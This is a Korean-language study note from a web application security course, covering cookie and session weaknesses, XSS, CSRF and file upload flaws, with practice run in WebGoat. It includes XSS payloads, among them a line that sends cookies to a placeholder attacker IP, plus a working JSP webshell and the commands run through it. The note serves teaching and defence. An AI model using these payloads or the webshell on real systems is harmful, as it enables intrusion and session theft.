[3-3]웹 어플리케이션 취약점 이해 및 대응

03. 취약한 인증

  • 사용자 인증 정책이 취약한 경우
  • 쿠키/세션 관련 정보가 잘못 사용될 경우 취약점 발생
  • HTTP
    • 응답과 요청으로 이루어지는 비연결성(응답 요청 받으면 끝)
    • 서버와 클라이언트의 상태를 따로 저장하지 않는 무상태성
  • 위의 두가지 문제로 인해 그럼 페이지 이동때마다 로그인 다시해야되냐? => 쿠키의 개발
  • Cookie
    • 클라이언트 로컬에 저장되는 키와 값이 들어있는 작은 데이터 파일
      • 이름, 값, 만료날짜(쿠키 저장기간), 경로정보등이 저장되어 있음
    • 오늘날에는 자동로그인(최근에는 사용안함), 오늘 더 이상 이 창을 보지않음 등에 사용됨
  • Session
    • Session ID만 클라이언트 로컬에 저장, 다른 자료는 서버에 저장
    • 세션은 서버의 자원 사용, 쿠키에 담겨져서 오긴함
    • 브라우저를 종료하면 클라이언트에서 세션ID만 삭제됨, 일정시간되면 삭제
    • 로그아웃시 서버와 클라이언트 모두 삭제

Cookie & Session 취약점 실습

  • Spoof an Authentication Cookie

    • webgoat에서 실습진행, 로그인하면 쿠키를 받아오면 생기는것

    • application - cookie

Cross Site Scripting(XSS)

  • Cross Site Scripting

    • 웹 페이지에 악의적인 스크립트를 포함시켜 사용자 측에서 실행되게 유도하는 공격

    • 검증되지 않은 외부 입력이 동적 웹페이지 생성에 사용될 경우, 전송된 동적 웹페이지를 열람하는 접속자의 권한으로 부적절한 스크립트가 수행되어 정보유출등의 공격을 유발

    • 클라이언트에서 쿠키등을 공격자에게 보냄

    • <script>alert('XSS')</script>

    • Stored XSS

      • Title에 cookie로 적고, message에 <script>alert(document.cookie)</script>라고 입력하고 application- cookie에 HttpOnly 선택된것을 풀어주면(js가 아닌 http에서만 실행되도록 하는 기능) alert로 쿠키값을 볼 수 있음
        • 참고: Secure옵션은 https에서만 사용되는것임
      • <script>http://hackerIP/cookie.jsp?cookie=alert(document.cookie)</script>
      • 이렇게 해커가 만든 IP의 웹서버로 쿠키값을 전송할 수도 있음
    • Reflective XSS

      • 이렇게 test라는 문구를 찾는 뒤에 url에다가 추가해서 reflective xss공격을 실행할 수 있지만 요즘 웹브라우저는 이것을 차단하고 있다.

Cross Site Request Forgery(CSRF) - 요청변조

  • Cross Site Request Forgery

    • 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금등)를 하게 만드는 공격
    • 클라이언트에서 웹서버로 요청을 함, 공격자에게 보내지는 않음
  • CSRF 방지

    • XSS방지법과 똑같이 <script>같은 것을 모두 text로 받으면 방지할 수 있음
    • CSRF 토큰으로 검사함

파일 업로드 취약점

  • Malicious File Execution

    • 서버측(Backend)에서 실행될 수 있는 스크립트 파일(asp, jsp, php등)을 업로드 가능하고 이 파일을 공격자가 웹을 통해 직접 실행시킬 수 있는 경우, 시스템 내부 명령어를 실행하거나 외부와 연결하여 시스템을 제어할 수 있음

    • webshell.jsp 파일을 인터넷에서 간단하게 가져옴

      <HTML>
          <%
             String cmd = request.getParameter("cmd");//cmd를 받아와서
             if(cmd != null) Runtime.getRuntime().exec(cmd);//실행하라
          %>
          <form>
          	<input type="text" name="cmd">
              <input type="submit">
          </form>
      </HTML>    
    • 이 파일을 업로드를 해주고, 오른쪽 마우스키 - 주소 가져오기를 해서 실행하면 해당 웹셸을 실행할 수 있음.

    • 이후 cmd.exe /c mkdir C:\Users\. . . .해서 디렉토리를 만들고 cmd.exe /c echo "test" > C:\Users\. . . \guest.txt를 해서 새로 만들어서 txt파일을 넣을 수 있음

  • Malicious FIle Execution 방지 방법

    1. 허용된 확장자
      • png, jpg 등의 이미지 업로드만 가능하게 한다
    2. 이미지 업로드 경로를 알 수 없게함
    3. 파일이름을 새롭게 암호화한 뒤 DB서버와 실제저장된 문구가 똑같은지 확인함
    4. 폴더의 실행권한을 막음

좋은 웹페이지 즐겨찾기